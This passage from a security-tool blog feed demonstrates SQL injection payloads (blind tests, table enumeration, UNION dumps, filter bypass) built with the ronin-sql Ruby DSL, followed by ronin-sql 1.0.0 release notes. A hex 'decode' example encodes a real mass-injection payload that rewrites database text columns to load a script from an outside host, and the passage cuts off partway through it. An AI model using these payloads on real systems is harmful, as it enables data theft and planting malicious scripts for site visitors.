&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;escape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:tablenames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1 AND (SELECT COUNT(*) FROM tablenames)=1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Creating errors by calling non-existent tables:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39; AND non_existant_table = &amp;#39;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;escape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;non_existant_table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;1&amp;#39;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1&amp;#39; AND non_existant_table=&amp;#39;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Dumping usernames:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39; OR username IS NOT NULL OR username = &amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;escape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;is_not&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1&amp;#39; OR username IS NOT NULL OR username=&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Enumerating through database table names:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;LOWER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;SUBSTRING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TOP&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sysobjects&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xtype&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;U&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;116&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ascii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lower&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sysobjects&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xtype&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;U&amp;#39;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;116&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype=&amp;#39;U&amp;#39;),1,1)))&amp;gt;116&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Finding user supplied tables using the &lt;code&gt;sysObjects&lt;/code&gt; table in SQL Server:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ALL&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sysObjects&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xtype&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;U&amp;#39;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;union_all&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sysObjects&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xtype&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;U&amp;#39;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:terminate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype=&amp;#39;U&amp;#39;);--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Bypass filters by using &lt;code&gt;/**/&lt;/code&gt; instead of spaces:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/**/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/**/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/**/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/**/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/**/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:space&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;/**/&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Not too shabby!&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>ronin-sql 1.0.0 released!</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2013/01/21/ronin-sql-1-0-0-released.html" />
    <updated>Mon Jan 21 00:00:00 -0800 2013</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2013/01/21/ronin-sql-1-0-0-released.html</id>
    <content type="html">&lt;p&gt;After six years of development and neglect, &lt;a href=&quot;https://github.com/ronin-ruby/ronin-sql#readme&quot;&gt;ronin-sql&lt;/a&gt; has been refactored
and version 1.0.0 has finally been released! &lt;a href=&quot;https://github.com/ronin-ruby/ronin-sql#readme&quot;&gt;ronin-sql&lt;/a&gt; is a library for
encoding/decoding SQL data. It also includes a Ruby Domain Specific Language
(DSL) for crafting complex &lt;a href=&quot;http://en.wikipedia.org/wiki/SQL_injection&quot;&gt;SQL Injections (SQLi)&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Install&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-sql#readme&quot;&gt;ronin-sql&lt;/a&gt; is available for installation as a &lt;a href=&quot;https://rubygems.org/gems/ronin-sql&quot;&gt;RubyGem&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ gem install ronin-sql
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;What's New?&lt;/h2&gt;

&lt;h3&gt;Ruby 1.9&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-sql#readme&quot;&gt;ronin-sql&lt;/a&gt; 1.0.0 requires Ruby &gt;= 1.9.1. Ruby 1.8.7 is about to reach
&lt;a href=&quot;https://blog.engineyard.com/2012/ruby-1-8-7-and-ree-end-of-life/&quot;&gt;End-Of-Life&lt;/a&gt; and it's becoming difficult to develop for both 1.8 and
1.9. Additionally, Ruby 1.9 has many &lt;a href=&quot;http://blog.newrelic.com/2012/10/23/eating-the-1-9-elephant/&quot;&gt;performance improvements&lt;/a&gt; over
1.8.7. Ruby 1.9.3 can be installed via &lt;a href=&quot;https://rvm.io/&quot;&gt;RVM&lt;/a&gt; or via &lt;a href=&quot;http://www.ubuntu.com/&quot;&gt;Ubuntu&lt;/a&gt; / &lt;a href=&quot;http://fedoraproject.org/&quot;&gt;Fedora&lt;/a&gt;
packages.&lt;/p&gt;

&lt;h3&gt;Convenience Methods&lt;/h3&gt;

&lt;p&gt;The [String#sql_escape], [String#sql_encode], [String#sql_decode] have been
moved out of [ronin-support] and into &lt;a href=&quot;https://github.com/ronin-ruby/ronin-sql#readme&quot;&gt;ronin-sql&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Escape a String:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;O&amp;#39;Brian&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql_escape&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;&amp;#39;O&amp;#39;&amp;#39;Brian&amp;#39;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;O&amp;#39;Brian&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql_escape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:double&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;\&amp;quot;O&amp;#39;Brian\&amp;quot;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Unescapes a SQL String:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;#39;O&amp;#39;&amp;#39;Brian&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql_unescape&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;O&amp;#39;Briand&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Hex encode a String:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;/etc/passwd&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql_encode&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;0x2f6574632f706173737764&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Hex decode a String:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854